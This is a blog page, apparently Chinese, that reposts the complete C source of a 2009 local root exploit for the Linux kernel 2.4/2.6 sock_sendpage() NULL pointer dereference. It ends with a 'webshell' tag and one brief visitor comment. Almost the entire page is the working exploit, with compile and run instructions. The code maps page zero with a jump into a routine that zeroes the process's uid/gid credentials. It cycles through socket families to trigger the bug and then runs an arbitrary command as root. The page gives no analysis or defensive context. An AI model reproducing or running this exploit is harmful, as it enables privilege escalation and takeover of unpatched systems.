Linux Kernel 2.4/2.6 sock_sendpage() Local Root Exploit

 

  1. /*  
  2.  *  Linux sock_sendpage() NULL pointer dereference  
  3.  *  Copyright 2009 Ramon de Carvalho Valle <ramon@risesecurity.org>  
  4.  *  
  5.  *  This program is free software; you can redistribute it and/or modify  
  6.  *  it under the terms of the GNU General Public License as published by  
  7.  *  the Free Software Foundation; either version 2 of the License, or  
  8.  *  (at your option) any later version.  
  9.  *  
  10.  *  This program is distributed in the hope that it will be useful,  
  11.  *  but WITHOUT ANY WARRANTY; without even the implied warranty of  
  12.  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
  13.  *  GNU General Public License for more details.  
  14.  *  
  15.  *  You should have received a copy of the GNU General Public License  
  16.  *  along with this program; if not, write to the Free Software  
  17.  *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA  
  18.  *  
  19.  *  gcc -o exploit exploit.c  
  20.  *  ./exploit "whoami"  
  21.  *  
  22.  */ 
  23.  
  24. #include <stdio.h>  
  25. #include <stdlib.h>  
  26. #include <string.h>  
  27. #include <sys/mman.h>  
  28. #include <sys/personality.h>  
  29. #include <sys/sendfile.h>  
  30. #include <sys/types.h>  
  31. #include <sys/socket.h>  
  32. #include <netinet/in.h>  
  33. #include <unistd.h>  
  34.  
  35. #if !defined(__always_inline)  
  36. #define __always_inline inline __attribute__((always_inline))  
  37. #endif  
  38.  
  39. #if defined(__i386__) || defined(__x86_64__)  
  40. #if defined(__LP64__)  
  41. static __always_inline unsigned long 
  42. current_stack_pointer(void)  
  43. {  
  44.     unsigned long sp;  
  45.  
  46.     asm volatile ("movq %%rsp,%0" : "=r" (sp));  
  47.  
  48.     return sp;  
  49. }  
  50.  
  51. #else  
  52. static __always_inline unsigned long 
  53. current_stack_pointer(void)  
  54. {  
  55.     unsigned long sp;  
  56.  
  57.     asm volatile ("movl %%esp,%0" : "=r" (sp));  
  58.  
  59.     return sp;  
  60. }  
  61.  
  62. #endif  
  63.  
  64. #elif defined(__powerpc__) || defined(__powerpc64__)  
  65. static __always_inline unsigned long 
  66. current_stack_pointer(void)  
  67. {  
  68.     unsigned long sp;  
  69.  
  70.     asm volatile ("mr %0,%%r1" : "=r" (sp));  
  71.  
  72.     return sp;  
  73. }  
  74.  
  75. /*  
  76.  * The TOC section is accessed via the dedicated TOC pointer register, r2.  
  77.  */ 
  78. static __always_inline unsigned long 
  79. current_toc_pointer(void)  
  80. {  
  81.     unsigned long toc_pointer;  
  82.  
  83.     asm volatile ("mr %0,%%r2" : "=r" (toc_pointer));  
  84.  
  85.     return toc_pointer;  
  86. }  
  87.  
  88. #endif  
  89.  
  90. #if defined(__i386__) || defined(__x86_64__)  
  91. #if defined(__LP64__)  
  92. static __always_inline unsigned long 
  93. current_task_struct(void)  
  94. {  
  95.     unsigned long task_struct;  
  96.  
  97.     asm volatile ("movq %%gs:(0),%0" : "=r" (task_struct));  
  98.  
  99.     return task_struct;  
  100. }  
  101.  
  102. #else  
  103. #define TASK_RUNNING 0  
  104.  
  105. static __always_inline unsigned long 
  106. current_task_struct(void)  
  107. {  
  108.     unsigned long task_struct, thread_info;  
  109.  
  110.     thread_info = current_stack_pointer() & ~(4096 - 1);  
  111.  
  112.     if (*(unsigned long *)thread_info >= 0xc0000000) {  
  113.         task_struct = *(unsigned long *)thread_info;  
  114.  
  115.         /*  
  116.          * The TASK_RUNNING is the only possible state for a process executing  
  117.          * in user-space.  
  118.          */ 
  119.         if (*(unsigned long *)task_struct == TASK_RUNNING)  
  120.             return task_struct;  
  121.     }  
  122.  
  123.     /*  
  124.      * Prior to the 2.6 kernel series, the task_struct was stored at the end  
  125.      * of the kernel stack.  
  126.      */ 
  127.     task_struct = current_stack_pointer() & ~(8192 - 1);  
  128.  
  129.     if (*(unsigned long *)task_struct == TASK_RUNNING)  
  130.         return task_struct;  
  131.  
  132.     thread_info = task_struct;  
  133.  
  134.     task_struct = *(unsigned long *)thread_info;  
  135.  
  136.     if (*(unsigned long *)task_struct == TASK_RUNNING)  
  137.         return task_struct;  
  138.  
  139.     return 0;  
  140. }  
  141.  
  142. #endif  
  143.  
  144. #elif defined(__powerpc__) || defined(__powerpc64__)  
  145. #if defined(__LP64__)  
  146. #define THREAD_SIZE 16384  
  147. #else  
  148. #define THREAD_SIZE 8192  
  149. #endif  
  150.  
  151. #define TASK_RUNNING 0  
  152.  
  153. static __always_inline unsigned long 
  154. current_task_struct(void)  
  155. {  
  156.     unsigned long task_struct, thread_info;  
  157.  
  158.     task_struct = current_stack_pointer() & ~(THREAD_SIZE - 1);  
  159.  
  160.     if (*(unsigned long *)task_struct == TASK_RUNNING)  
  161.         return task_struct;  
  162.  
  163.     thread_info = task_struct;  
  164.  
  165.     task_struct = *(unsigned long *)thread_info;  
  166.  
  167.     if (*(unsigned long *)task_struct == TASK_RUNNING)  
  168.         return task_struct;  
  169.  
  170.     return 0;  
  171. }  
  172.  
  173. #endif  
  174.  
  175. static unsigned long uid, gid;  
  176.  
  177. static __always_inline void 
  178. change_cow_cred(void)  
  179. {  
  180.     char *task_struct;  
  181.     int i;  
  182.     unsigned int *real_cred, *cred;  
  183.  
  184.     task_struct = (char *)current_task_struct();  
  185.  
  186.     real_cred = NULL;  
  187.     cred = NULL;  
  188.  
  189.     for (i = 0; i < 4096; i++) {  
  190.         if (!strcmp(task_struct, "exploit") ||  
  191.                 !strcmp(task_struct, "pulseaudio")) {  
  192.             /*  
  193.              * Search for unlocked count in cred_exec_mutex.  
  194.              */ 
  195.             for (i = 0; i < 256; i++) {  
  196.                 if (*(unsigned int *)task_struct == 1) {  
  197.                     real_cred = *((unsigned int **)task_struct - 3);  
  198.                     cred = *((unsigned int **)task_struct - 2);  
  199.                     break;  
  200.                 }  
  201.  
  202.                 task_struct--;  
  203.             }  
  204.  
  205.             break;  
  206.         }  
  207.  
  208.         task_struct++;  
  209.     }  
  210.  
  211.     if (real_cred)  
  212.         for (i = 0; i < 16; i++) {  
  213.             if (real_cred[0] == uid && real_cred[1] == uid &&  
  214.                     real_cred[2] == uid && real_cred[3] == uid &&  
  215.                     real_cred[4] == gid && real_cred[5] == gid &&  
  216.                     real_cred[6] == gid && real_cred[7] == gid) {  
  217.                 real_cred[0] = real_cred[1] =  
  218.                 real_cred[2] = real_cred[3] =  
  219.                 real_cred[4] = real_cred[5] =  
  220.                 real_cred[6] = real_cred[7] = 0;  
  221.                 break;  
  222.             }  
  223.  
  224.         real_cred++;  
  225.         }  
  226.  
  227.     if (cred)  
  228.         for (i = 0; i < 16; i++) {  
  229.             if (cred[0] == uid && cred[1] == uid &&  
  230.                     cred[2] == uid && cred[3] == uid &&  
  231.                     cred[4] == gid && cred[5] == gid &&  
  232.                     cred[6] == gid && cred[7] == gid) {  
  233.                 cred[0] = cred[1] =  
  234.                 cred[2] = cred[3] =  
  235.                 cred[4] = cred[5] =  
  236.                 cred[6] = cred[7] = 0;  
  237.                 break;  
  238.             }  
  239.  
  240.         cred++;  
  241.         }  
  242. }  
  243.  
  244. static int 
  245. change_cred(void)  
  246. {  
  247.     unsigned int *task_struct;  
  248.     int i;  
  249.  
  250.     task_struct = (unsigned int *)current_task_struct();  
  251.  
  252.     if (task_struct) {  
  253.         for (i = 0; i < 4096; i++) {  
  254.             if (task_struct[0] == uid && task_struct[1] == uid &&  
  255.                     task_struct[2] == uid && task_struct[3] == uid &&  
  256.                     task_struct[4] == gid && task_struct[5] == gid &&  
  257.                     task_struct[6] == gid && task_struct[7] == gid) {  
  258.                 task_struct[0] = task_struct[1] =  
  259.                 task_struct[2] = task_struct[3] =  
  260.                 task_struct[4] = task_struct[5] =  
  261.                 task_struct[6] = task_struct[7] = 0;  
  262.                 return -1;  
  263.             }  
  264.  
  265.             task_struct++;  
  266.         }  
  267.  
  268.         change_cow_cred();  
  269.     }  
  270.  
  271.     return -1;  
  272. }  
  273.  
  274. #if !defined(IPPROTO_SCTP)  
  275. #define IPPROTO_SCTP 132  
  276. #endif  
  277.  
  278. #if !defined(PF_IUCV)  
  279. #define PF_IUCV 32  
  280. #endif  
  281.  
  282. #if !defined(PF_ISDN)  
  283. #define PF_ISDN 34  
  284. #endif  
  285.  
  286. int s[][3] = {  
  287.         { PF_AX25     , SOCK_DGRAM    , IPPROTO_IP   },  
  288.         { PF_IPX      , SOCK_DGRAM    , IPPROTO_IP   },  
  289.         { PF_APPLETALK, SOCK_DGRAM    , IPPROTO_IP   },  
  290.         { PF_X25      , SOCK_DGRAM    , IPPROTO_IP   },  
  291.         { PF_INET6    , SOCK_SEQPACKET, IPPROTO_SCTP },  
  292.         { PF_IRDA     , SOCK_DGRAM    , IPPROTO_IP   },  
  293.         { PF_PPPOX    , SOCK_DGRAM    , IPPROTO_IP   },  
  294.         { PF_BLUETOOTH, SOCK_DGRAM    , IPPROTO_IP   },  
  295.         { PF_IUCV     , SOCK_STREAM   , IPPROTO_IP   },  
  296.         { PF_ISDN     , SOCK_DGRAM    , IPPROTO_IP   },  
  297.         { PF_MAX      , 0             , 0            }};  
  298.  
  299. #define PAGE_SIZE getpagesize()  
  300.  
  301. int 
  302. pa__init(void *m, char * cmdline)  
  303. {  
  304.     char *addr;  
  305.     int i, out_fd, in_fd;  
  306.     char template[] = "/tmp/tmp.XXXXXX";  
  307.  
  308.     uid = getuid(), gid = getgid();  
  309.  
  310.     if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|  
  311.             MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {  
  312.         perror("mmap");  
  313.  
  314.         if (personality(0xffffffff) == PER_SVR4)  
  315.             if (mprotect(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC) == -1)  
  316.                 perror("mprotect");  
  317.  
  318.         exit(EXIT_FAILURE);  
  319.     }  
  320.  
  321. #if defined(__i386__) || defined(__x86_64__)  
  322. #if defined(__LP64__)  
  323.     addr[0] = '\xff';  
  324.     addr[1] = '\x24';  
  325.     addr[2] = '\x25';  
  326.     *(unsigned long *)&addr[3] = 8;  
  327.     *(unsigned long *)&addr[8] = (unsigned long)change_cred;  
  328.  
  329. #else  
  330.     addr[0] = '\xff';  
  331.     addr[1] = '\x25';  
  332.     *(unsigned long *)&addr[2] = 8;  
  333.     *(unsigned long *)&addr[8] = (unsigned long)change_cred;  
  334.  
  335. #endif  
  336.  
  337. #elif defined(__powerpc__) || defined(__powerpc64__)  
  338. #if defined(__LP64__)  
  339.     /*  
  340.      * The 64-bit PowerPC ELF ABI defines function descriptors. A function  
  341.      * descriptor is a three doubleword data structure that contains the  
  342.      * following values:  
  343.      *  
  344.      *  * The first doubleword contains the address of the entry point of the  
  345.      *    function.  
  346.      *  * The second doubleword contains the TOC base address for the function  
  347.      *  * The third doubleword contains the environment pointer for languages  
  348.      *    such as Pascal and PL/1.  
  349.      */ 
  350.     *(unsigned long *)&addr[0] = *(unsigned long *)change_cred;  
  351.     *(unsigned long *)&addr[8] = current_toc_pointer();  
  352.     *(unsigned long *)&addr[16] = 0;  
  353.  
  354. #else  
  355.     addr[0] = '\x3f';  
  356.     addr[1] = '\xe0';  
  357.     *(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;  
  358.     addr[4] = '\x63';  
  359.     addr[5] = '\xff';  
  360.     *(unsigned short *)&addr[6] = (unsigned short)change_cred;  
  361.     addr[8] = '\x7f';  
  362.     addr[9] = '\xe9';  
  363.     addr[10] = '\x03';  
  364.     addr[11] = '\xa6';  
  365.     addr[12] = '\x4e';  
  366.     addr[13] = '\x80';  
  367.     addr[14] = '\x04';  
  368.     addr[15] = '\x20';  
  369.  
  370. #endif  
  371.  
  372. #endif  
  373.  
  374.     if ((in_fd = mkstemp(template)) == -1) {  
  375.         perror("mkstemp");  
  376.         exit(EXIT_FAILURE);  
  377.     }  
  378.  
  379.     if (unlink(template) == -1) {  
  380.         perror("unlink");  
  381.         exit(EXIT_FAILURE);  
  382.     }  
  383.  
  384.     if (ftruncate(in_fd, PAGE_SIZE) == -1) {  
  385.         perror("ftruncate");  
  386.         exit(EXIT_FAILURE);  
  387.     }  
  388.  
  389.     i = 0;  
  390.  
  391. exploit:  
  392.     if (s[i][0] == PF_MAX)  
  393.         exit(EXIT_FAILURE);  
  394.  
  395.     if ((out_fd = socket(s[i][0], s[i][1], s[i][2])) == -1) {  
  396.         perror("socket");  
  397.         i++;  
  398.         goto exploit;  
  399.     }  
  400.  
  401.     sendfile(out_fd, in_fd, NULL, PAGE_SIZE);  
  402.  
  403.     if (getuid() || getgid()) {  
  404.         close(out_fd);  
  405.         i++;  
  406.         goto exploit;  
  407.     }  
  408.  
  409.     system(cmdline);  
  410. //  execl("/bin/sh", "sh", "-i", NULL);  
  411.  
  412.     exit(EXIT_SUCCESS);  
  413. }  
  414.  
  415. void 
  416. pa__done(void *m)  
  417. {  
  418. }  
  419.  
  420. int 
  421. main(int argc, char **argv)  
  422. {  
  423.     if (argc !=2)  
  424.     {  
  425.         printf("%s <cmdline>\n", argv[0]);  
  426.         return 0;  
  427.     }  
  428.     pa__init(NULL, argv[1]);  
  429.  
  430.     exit(EXIT_SUCCESS);  
  431. }  

 

Tags: webshell

« 上一篇 | 下一篇 »

访客评论

  1. #1 汽车饰品代理 2010, October 26, 4:07 PM
    顶一下,呵呵

发表评论

评论内容 (必填):

点击获得Trackback地址